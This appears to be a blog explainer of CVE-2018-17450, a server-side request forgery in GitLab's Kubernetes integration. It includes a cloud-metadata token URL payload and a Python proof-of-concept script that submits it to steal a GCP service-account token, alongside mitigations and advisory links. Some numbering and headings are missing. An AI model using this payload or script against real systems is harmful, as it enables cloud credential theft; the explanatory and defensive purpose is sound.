In this long-read, we’ll dive deep into CVE-2018-17450—an interesting and dangerous Server-Side Request Forgery (SSRF) vulnerability that affected GitLab Community and Enterprise Edition (CE/EE) before 11.1.7, 11.2.x before 11.2.4, and 11.3.x before 11.3.1. This flaw is related to the Kubernetes integration and can turn your GitLab server into a proxy hacker, risking exposure of sensitive data such as Google Cloud Platform (GCP) service tokens and more.

Let’s break this down simply, explore how and why this happened, and look at proof-of-concept exploit details.

What Is CVE-2018-17450?

CVE-2018-17450 is a server-side request forgery in GitLab’s Kubernetes integration. In simple words: it let attackers trick the GitLab instance (the server itself) into making HTTP requests to dangerous places—internal endpoints, cloud metadata servers, and more—on behalf of the attacker.

This could, for example, make GitLab connect to http://169.254.169.254/ (the special IP for cloud metadata APIs), read service tokens from Google Cloud, and spill sensitive keys.

You are vulnerable if you ran

- GitLab CE/EE before 11.1.7
- GitLab CE/EE 11.2.x before 11.2.4
- GitLab CE/EE 11.3.x before 11.3.1

If you’ve installed or upgraded after those versions, you’re probably safe.

How Did the Attack Work?

GitLab lets users set up Kubernetes integration by specifying an endpoint API URL. But it didn’t properly restrict which URLs could be entered! That means, as an attacker, you could tell GitLab to connect almost anywhere—including internal-only systems, cloud metadata IPs, or even other back-end services.

Here’s a step-by-step of what the exploit looked like

1. Malicious Input: Attacker goes to the Kubernetes integration and puts a “cluster API URL” pointing somewhere sensitive, for example:

`

http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

`

2. Server-Side Connection: GitLab, running inside your trusted cloud, dutifully makes the request *from itself*—not from the attacker.
3. Leaked Data: Sensitive information like GCP service account tokens comes back to the attacker, visible in GitLab’s UI or error messages.

Proof-of-Concept Exploit Example

Let’s say the GitLab server is running on Google Cloud.

In the API URL input field, put the following

http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

This points to the instance metadata service inside Google Cloud, which returns an authentication token for the VM’s default service account.

3. Result: Token Disclosure

If successful, when GitLab tries to “connect” to your “Kubernetes cluster,” it will show the GCP service token in the UI. This token can now be used to impersonate the cloud VM—that is, do anything the instance’s service account can do (access Google Storage, launch resources, etc).

Suppose you want to automate this for testing (on your own instance!)

import requests

# (1) Authenticate to GitLab as a maintainer
session = requests.Session()
login_url = "https://your.gitlab.server/users/sign_in";
login_data = {
    'user[login]': 'maintainer@example.com',
    'user[password]': 'yourpassword',
}
session.post(login_url, data=login_data)

# (2) Build API URL for Kubernetes cluster integration
project_id = 12345  # your project ID
kube_url = 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
integration_url = f"https://your.gitlab.server/api/v4/projects/{project_id}/clusters/add";

data = {
    'name': 'ssrf-test',
    'platform_kubernetes_attributes[api_url]': kube_url,
    'platform_kubernetes_attributes[token]': 'fake',
    # ...other required fields...
}

# (3) Add the Kubernetes cluster (triggering SSRF)
resp = session.post(integration_url, data=data)
print(resp.text)  # Look for leaked token in response


*(Replace with your actual credentials, project ID, and endpoint!)*

Access Cloud Secrets: Stealing tokens from GCP, AWS, or Azure to gain massive cloud access.

- Scan or Attack Internal Systems: Use GitLab’s network access to reach things the attacker couldn’t see from outside.

Restricting URLs: Limiting what addresses can be entered for Kubernetes endpoints.

- Sanitization and Validation: Making sure only safe, external, legitimate API hosts are accepted—no localhost, no internal metadata IPs.

Release notes

- GitLab 11.1.7, 11.2.4, 11.3.1 Security Releases
- GitLab Advisory

Original GitLab Advisory:

https://about.gitlab.com/releases/2018/10/01/security-release-gitlab-11-3-1-released/#server-side-request-forgery-in-kubernetes-integration

NVD Entry:

https://nvd.nist.gov/vuln/detail/CVE-2018-17450

SSRF Explained (PortSwigger):

https://portswigger.net/web-security/ssrf

Google Metadata API Docs:

https://cloud.google.com/compute/docs/storing-retrieving-metadata

Conclusion

CVE-2018-17450 shows how dangerous insecure integrations can be, especially when cloud metadata and internal APIs are just a special IP away. Always validate and restrict where your application can reach out. If you’re running GitLab, upgrade to the latest stable version and review permissions regularly—before someone else gets ahold of your cloud keys.


This post is written exclusively for you and summarizes the heart of CVE-2018-17450 with samples, context, and practical details. Stay secure!

Timeline

Published on: 04/15/2023 23:15:00 UTC
Last modified on: 04/25/2023 20:25:00 UTC